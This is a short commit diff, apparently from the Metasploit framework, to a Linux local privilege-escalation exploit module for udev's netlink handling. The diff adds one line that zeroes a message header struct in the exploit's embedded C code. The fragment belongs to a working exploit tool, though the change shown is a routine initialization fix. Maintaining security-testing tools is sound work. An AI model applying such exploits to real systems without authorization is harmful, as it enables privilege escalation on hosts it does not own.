initializing msghdr a little better

Author: jvazquez-r7

modules/exploits/linux/local/udev_netlink.rb

@@ -164,6 +164,7 @@ def exploit
 	sa.nl_pid = #{netlink_pid};
 	sa.nl_groups = 0;
 
+	memset(&msg, 0x00, sizeof(struct msghdr));
 	msg.msg_name = (void *)&sa;
 	msg.msg_namelen = sizeof(sa);
 	msg.msg_iov = &iov;